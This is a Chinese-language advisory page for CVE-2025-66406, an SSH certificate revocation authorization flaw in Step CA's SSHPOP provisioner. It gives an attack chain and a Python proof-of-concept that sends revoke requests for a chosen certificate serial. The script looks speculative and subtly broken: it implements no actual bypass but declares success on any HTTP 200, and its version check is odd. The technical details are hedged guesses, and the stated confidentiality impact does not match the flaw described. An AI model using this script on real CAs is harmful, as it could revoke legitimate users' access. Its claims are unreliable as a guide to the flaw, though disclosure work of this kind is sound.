CVE-2025-66406: Step CA SSHPOP provisioner SSH证书撤销授权缺陷漏洞

漏洞信息

漏洞编号

CVE-2025-66406

漏洞类型

授权缺陷

CVSS评分

5.0 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

smallstep/certificates (Step CA)

漏洞概述

Step CA是一个在线证书颁发机构，为DevOps提供安全、自动化的证书管理服务。该漏洞存在于0.29.0之前的版本中，存在于SSH证书撤销功能的授权检查机制中。具体而言，当部署配置使用SSHPOP provisioner时，系统未能正确执行授权检查，可能允许具有高权限的攻击者绕过正常的证书撤销验证流程。该漏洞影响机密性（高）和可用性（高），CVSS评分5.0，属于中等严重程度。攻击向量为网络，攻击复杂度较高，需要高权限用户身份，但无需用户交互即可实施攻击。建议受影响的用户尽快升级到0.29.0或更高版本以修复此安全缺陷。

技术细节

该漏洞属于授权检查不当（Improper Authorization）类型，存在于Step CA的SSH证书撤销功能模块中。当使用SSHPOP provisioner时，系统在处理SSH证书撤销请求时未能正确验证请求者的权限。具体问题可能包括：1) 撤销请求的签名验证不完整；2) 权限检查逻辑存在绕过高权限用户可利用此漏洞执行未授权的证书撤销操作，影响SSH认证的可用性和完整性。攻击者需要具备高权限账户，复杂度为高（AC:H），可通过网络（AV:N）发起攻击。攻击成功后可导致SSH证书被恶意撤销，影响合法用户的访问，同时可能造成证书管理系统的可用性下降。修复版本0.29.0已加强授权检查机制，确保SSH证书撤销操作必须经过正确的权限验证。

攻击链分析

STEP 1

步骤1

攻击者获取Step CA实例的高权限账户凭据

STEP 2

步骤2

攻击者识别目标系统使用SSHPOP provisioner配置

STEP 3

步骤3

攻击者构造恶意的SSH证书撤销请求，利用授权检查缺陷绕过权限验证

STEP 4

步骤4

发送撤销请求到/api/ssh/revoke端点，指定目标证书序列号

STEP 5

步骤5

系统错误地执行撤销操作，导致目标SSH证书被未授权撤销

STEP 6

步骤6

合法用户无法使用SSH证书进行认证，SSH服务可用性受损

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2025-66406 - Step CA SSH Certificate Revocation Authorization Bypass
# Note: Requires high privileges and SSHPOP provisioner configuration

import requests
import json
import argparse

def check_vulnerability(target_url, api_token):
    """
    Check if target Step CA instance is vulnerable to CVE-2025-66406
    """
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Content-Type': 'application/json'
    }
    
    # Check Step CA version
    version_url = f'{target_url}/version'
    try:
        resp = requests.get(version_url, headers=headers, timeout=10)
        version_info = resp.json()
        version = version_info.get('version', '')
        print(f'[*] Detected Step CA version: {version}')
        
        # Check if version is before 0.29.0
        major, minor, patch = map(int, version.lstrip('v').split('.')[:3])
        if major < 0 or (major == 0 and minor < 29):
            print('[+] Target appears to be vulnerable (version < 0.29.0)')
            return True
        else:
            print('[-] Target appears to be patched (version >= 0.29.0)')
            return False
    except Exception as e:
        print(f'[-] Error checking version: {e}')
        return None

def exploit_revocation_bypass(target_url, api_token, target_serial):
    """
    Exploit unauthorized SSH certificate revocation
    """
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Content-Type': 'application/json'
    }
    
    # Attempt unauthorized revocation
    revoke_url = f'{target_url}/api/ssh/revoke'
    payload = {
        'serial': target_serial,
        'type': 'ssh'  # SSHPOP provisioner certificate
    }
    
    try:
        resp = requests.post(revoke_url, json=payload, headers=headers, timeout=10)
        if resp.status_code == 200:
            print(f'[+] Successfully revoked certificate {target_serial}')
            print('[+] Vulnerability confirmed - authorization bypass successful')
            return True
        else:
            print(f'[-] Revocation failed with status {resp.status_code}')
            print(f'[-] Response: {resp.text}')
            return False
    except Exception as e:
        print(f'[-] Error during exploitation: {e}')
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2025-66406 PoC')
    parser.add_argument('--url', required=True, help='Step CA target URL')
    parser.add_argument('--token', required=True, help='API token')
    parser.add_argument('--serial', required=True, help='Target certificate serial')
    args = parser.parse_args()
    
    print(f'[*] Testing CVE-2025-66406 on {args.url}')
    vulnerable = check_vulnerability(args.url, args.token)
    
    if vulnerable:
        exploit_revocation_bypass(args.url, args.token, args.serial)

影响范围

smallstep/certificates < 0.29.0

防御指南

临时缓解措施

立即升级Step CA到0.29.0或更高版本。在升级前，可通过限制具有SSHPOP provisioner访问权限的用户账户、实施严格的访问控制策略、以及启用详细的审计日志来监控可疑的证书撤销操作来降低风险。同时建议审查现有的SSH证书颁发记录，确认是否存在未授权的撤销操作。